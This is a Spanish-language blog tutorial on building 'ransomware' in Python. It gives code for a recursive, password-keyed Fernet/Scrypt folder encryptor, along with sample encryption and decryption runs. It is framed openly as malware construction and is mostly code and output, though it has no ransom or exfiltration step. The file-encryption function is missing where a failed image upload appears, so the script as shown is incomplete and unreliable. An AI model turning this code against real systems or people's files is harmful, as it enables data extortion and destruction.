Cómo hacer un ransomware en Python

Cómo hacer un ransomware en Python

Aprenda a crear un ransomware mediante el cifrado simétrico (algoritmo AES) con la ayuda de la biblioteca de criptografía en Python.

El ransomware es un tipo de malware que cifra los archivos de un sistema y los descifra solo después de que se paga una suma de dinero al atacante.

El cifrado es el proceso de convertir texto sin formato, que son datos que pueden leer los humanos, en texto cifrado, que es una versión codificada de los datos que es imposible de leer para los humanos. El proceso de convertir el texto cifrado en texto sin formato se conoce como descifrado.

El cifrado se utiliza para proteger los datos durante la transmisión, el almacenamiento y el procesamiento. Es una herramienta fundamental para proteger la información del acceso no autorizado y es esencial para mantener la confidencialidad e integridad de los datos. El cifrado se utiliza en una variedad de aplicaciones, incluidas las comunicaciones seguras, la banca y las compras en línea seguras y la protección de datos confidenciales almacenados en computadoras y servidores.


para comenzar a escribir el ransomware, debemos instalar la biblioteca de criptografía:

$ pip install cryptography




Hay muchos algoritmos de cifrado por ahí. Esta biblioteca se basa en el algoritmo de cifrado AES.

Abra un nuevo archivo, llámelo ransomware.py e importe lo siguiente:




import pathlib
import secrets
import os
import base64
import getpass

import cryptography
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.kdf.scrypt import Scrypt




Derivación de la clave a partir de una contraseña

En primer lugar, las funciones de derivación de claves necesitan que se agreguen bits aleatorios a la contraseña antes de que se convierta en hash; estos bits a menudo se denominan sales, que ayudan a fortalecer la seguridad y protegen contra ataques de diccionario y de fuerza bruta. Hagamos una función para generar eso usando el módulo de secert:

def generate_salt(size=16):
    """Generate the salt used for key derivation, 
    `size` is the length of the salt to generate"""
    return secrets.token_bytes(size)



Estamos usando el módulo de secret en lugar de aleatorio porque los secret se usan para generar números aleatorios criptográficamente fuertes adecuados para la generación de contraseñas, tokens de seguridad, salts, etc.


A continuación, hagamos una función para derivar la clave de la contraseña y la salt:

def derive_key(salt, password):
    """Derive the key from the `password` using the passed `salt`"""
    kdf = Scrypt(salt=salt, length=32, n=2**14, r=8, p=1)
    return kdf.derive(password.encode())



Inicializamos el algoritmo Scrypt pasando lo siguiente:


La salt.
La longitud deseada de la clave (32 en este caso).
n: Parámetro de costo de CPU/Memoria que debe ser mayor que 1 y ser una potencia de 2.
r: Parámetro de tamaño de bloque.
p: Parámetro de paralelización.

A continuación, hacemos una función para cargar un salt generado previamente:


def load_salt():
    # load salt from salt.salt file
    return open("salt.salt", "rb").read()

Ahora que tenemos las funciones de generación de sal y derivación de clave, hagamos la función central que genera la clave a partir de una contraseña:
 
def generate_key(password, salt_size=16, load_existing_salt=False, save_salt=True):
    """Generates a key from a `password` and the salt.
    If `load_existing_salt` is True, it'll load the salt from a file
    in the current directory called "salt.salt".
    If `save_salt` is True, then it will generate a new salt
    and save it to "salt.salt" """
    if load_existing_salt:
        # load existing salt
        salt = load_salt()
    elif save_salt:
        # generate new salt and save it
        salt = generate_salt(salt_size)
        with open("salt.salt", "wb") as salt_file:
            salt_file.write(salt)
    # generate the key from the salt and the password
    derived_key = derive_key(salt, password)
    # encode it using Base 64 and return it
    return base64.urlsafe_b64encode(derived_key)



La función anterior acepta los siguientes argumentos:

password: la cadena de contraseña para generar la clave.
salt_size: Un número entero que indica el tamaño de la sal a generar.
load_existing_salt: Un booleano que indica si cargamos un salt generado previamente.
save_salt: Un booleano para indicar si guardamos el salt generado.
Después de cargar o generar un salt nuevo, obtenemos la clave de la contraseña usando nuestra función derive_key() y devolvemos la clave como un texto codificado en Base64.


Cifrado de archivos



Está bien, eso está hecho. Pasando ahora a la función de descifrado, es el mismo proceso, excepto que usaremos la función descrypt() en lugar de encrypt() en el objeto Fernet


def decrypt(filename, key):
    """Given a filename (str) and key (bytes), it decrypts the file and write it"""
    f = Fernet(key)
    with open(filename, "rb") as file:
        # read the encrypted data
        encrypted_data = file.read()
    # decrypt data
    try:
        decrypted_data = f.decrypt(encrypted_data)
    except cryptography.fernet.InvalidToken:
        print("[!] Invalid token, most likely the password is incorrect")
        return
    # write the original file
    with open(filename, "wb") as file:
        file.write(decrypted_data)


No se ha podido subir "image.png".



Agregamos un bloque simple de prueba y excepción para manejar la excepción cuando la contraseña es incorrecta.


Cifrado y descifrado de carpetas

 Antes de probar nuestras funciones, debemos recordar que el ransomware encripta carpetas completas o incluso todo el sistema informático, no solo un archivo.

Por lo tanto, debemos escribir código para cifrar carpetas con sus subcarpetas y archivos. Comencemos con el cifrado de carpetas:

def encrypt_folder(foldername, key):
    # if it's a folder, encrypt the entire folder (i.e all the containing files)
    for child in pathlib.Path(foldername).glob("*"):
        if child.is_file():
            print(f"[*] Encrypting {child}")
            # encrypt the file
            encrypt(child, key)
        elif child.is_dir():
            # if it's a folder, encrypt the entire folder by calling this function recursively
            encrypt_folder(child, key)




No es tan complicado; usamos el método glob() de la clase Path() del módulo pathlib para obtener todas las subcarpetas y archivos en esa carpeta. Es lo mismo que os.scandir() excepto que pathlib devuelve objetos de ruta y no cadenas de Python regulares.

Dentro del ciclo for, verificamos si este objeto de ruta secundaria es un archivo o una carpeta. Usamos nuestra función encrypt() previamente definida si se trata de un archivo. Si es una carpeta, ejecutamos recursivamente encrypt_folder() pero pasamos la ruta secundaria al argumento del nombre de la carpeta.

Lo mismo para descifrar carpetas:

def decrypt_folder(foldername, key):
    # if it's a folder, decrypt the entire folder
    for child in pathlib.Path(foldername).glob("*"):
        if child.is_file():
            print(f"[*] Decrypting {child}")
            # decrypt the file
            decrypt(child, key)
        elif child.is_dir():
            # if it's a folder, decrypt the entire folder by calling this function recursively
            decrypt_folder(child, key)




Ahora, todo lo que tenemos que hacer es usar el módulo argparse para hacer que nuestro script sea lo más fácil de usar posible desde la línea de comandos:



if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser(description="File Encryptor Script with a Password")
    parser.add_argument("path", help="Path to encrypt/decrypt, can be a file or an entire folder")
    parser.add_argument("-s", "--salt-size", help="If this is set, a new salt with the passed size is generated",
                        type=int)
    parser.add_argument("-e", "--encrypt", action="store_true",
                        help="Whether to encrypt the file/folder, only -e or -d can be specified.")
    parser.add_argument("-d", "--decrypt", action="store_true",
                        help="Whether to decrypt the file/folder, only -e or -d can be specified.")
    # parse the arguments
    args = parser.parse_args()
    # get the password
    if args.encrypt:
        password = getpass.getpass("Enter the password for encryption: ")
    elif args.decrypt:
        password = getpass.getpass("Enter the password you used for encryption: ")
    # generate the key
    if args.salt_size:
        key = generate_key(password, salt_size=args.salt_size, save_salt=True)
    else:
        key = generate_key(password, load_existing_salt=True)
    # get the encrypt and decrypt flags
    encrypt_ = args.encrypt
    decrypt_ = args.decrypt
    # check if both encrypt and decrypt are specified
    if encrypt_ and decrypt_:
        raise TypeError("Please specify whether you want to encrypt the file or decrypt it.")
    elif encrypt_:
        if os.path.isfile(args.path):
            # if it is a file, encrypt it
            encrypt(args.path, key)
        elif os.path.isdir(args.path):
            encrypt_folder(args.path, key)
    elif decrypt_:
        if os.path.isfile(args.path):
            decrypt(args.path, key)
        elif os.path.isdir(args.path):
            decrypt_folder(args.path, key)
    else:
        raise TypeError("Please specify whether you want to encrypt the file or decrypt it.")







esperamos un total de cuatro parámetros, que son la ruta de la carpeta/archivo para cifrar o descifrar, el tamaño de sal, que, si se pasa, genera una nueva sal con el tamaño dado, y si cifrar o descifrar a través de los parámetros -e o -d respectivamente.

Ejecutar el código

Para probar nuestro script, debe encontrar archivos que no necesita o tener una copia de ellos en algún lugar de su computadora. Para mi caso, creé una carpeta llamada carpeta de prueba en el mismo directorio donde se encuentra ransomware.py y traje algunos documentos PDF, imágenes, archivos de texto y otros archivos. Aquí está el contenido de la misma:



Y esto es lo que hay dentro de la carpeta Archivos:





Donde Archivo y Programas contienen algunos archivos zip y ejecutables, intentemos encriptar toda esta carpeta de carpetas de prueba:

$ python ransomware.py -e test-folder -s 32


He especificado que la sal tenga un tamaño de 32 y pasé la carpeta de prueba al script. Se le pedirá una contraseña para el cifrado; usemos "1234":


Enter the password for encryption:
[*] Encrypting test-folder\Documents\2171614.xlsx
[*] Encrypting test-folder\Documents\receipt.pdf
[*] Encrypting test-folder\Files\Archive\12_compressed.zip
[*] Encrypting test-folder\Files\Archive\81023_Win.zip
[*] Encrypting test-folder\Files\Programs\Postman-win64-9.15.2-Setup.exe
[*] Encrypting test-folder\Pictures\crai.png
[*] Encrypting test-folder\Pictures\photo-22-09.jpg
[*] Encrypting test-folder\Pictures\photo-22-14.jpg
[*] Encrypting test-folder\test.txt
[*] Encrypting test-folder\test2.txt
[*] Encrypting test-folder\test3.txt

Se le pedirá que ingrese una contraseña, get_pass() oculta los caracteres que escribe, por lo que es más seguro.

¡Parece que el script cifró con éxito toda la carpeta! Puedes probarlo tú mismo en una carpeta que se te ocurra (insisto, por favor no lo uses en archivos que necesites y no tengas una copia en otro lado).

Los archivos permanecen en la misma extensión, pero si hace clic derecho, no podrá leer nada.

También notará que el archivo salt.salt apareció en su directorio de trabajo actual. No lo elimine, ya que es necesario para el proceso de descifrado.

Intentemos descifrarlo con una contraseña incorrecta, algo así como "1235" y no "1234":


$ python ransomware.py -d test-folder
Enter the password you used for encryption:
[*] Decrypting test-folder\Documents\2171614.xlsx
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Documents\receipt.pdf
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Files\Archive\12_compressed.zip
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Files\Archive\81023_Win.zip
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Files\Programs\Postman-win64-9.15.2-Setup.exe
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Pictures\crai.png
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Pictures\photo-22-09.jpg
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Pictures\photo-22-14.jpg
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\test.txt
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\test2.txt
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\test3.txt
[!] Invalid token, most likely the password is incorrect

En el proceso de descifrado, no pase -s ya que generará una nueva sal y anulará la sal anterior que se usó para el cifrado y, por lo tanto, no podrá recuperar sus archivos. Puede editar el código para evitar este parámetro en el descifrado.

La carpeta todavía está encriptada, ya que la contraseña es incorrecta. Volvamos a ejecutar con la contraseña correcta, "1234":


$ python ransomware.py -d test-folder
Enter the password you used for encryption:
[*] Decrypting test-folder\Documents\2171614.xlsx
[*] Decrypting test-folder\Documents\receipt.pdf
[*] Decrypting test-folder\Files\Archive\12_compressed.zip
[*] Decrypting test-folder\Files\Archive\81023_Win.zip
[*] Decrypting test-folder\Files\Programs\Postman-win64-9.15.2-Setup.exe
[*] Decrypting test-folder\Pictures\crai.png
[*] Decrypting test-folder\Pictures\photo-22-09.jpg
[*] Decrypting test-folder\Pictures\photo-22-14.jpg
[*] Decrypting test-folder\test.txt
[*] Decrypting test-folder\test2.txt
[*] Decrypting test-folder\test3.txt



Comentarios

Entradas populares de este blog

Cómo geolocalizar direcciones IP en Python

Análisis forense de Oracle VM VirtualBox en Windows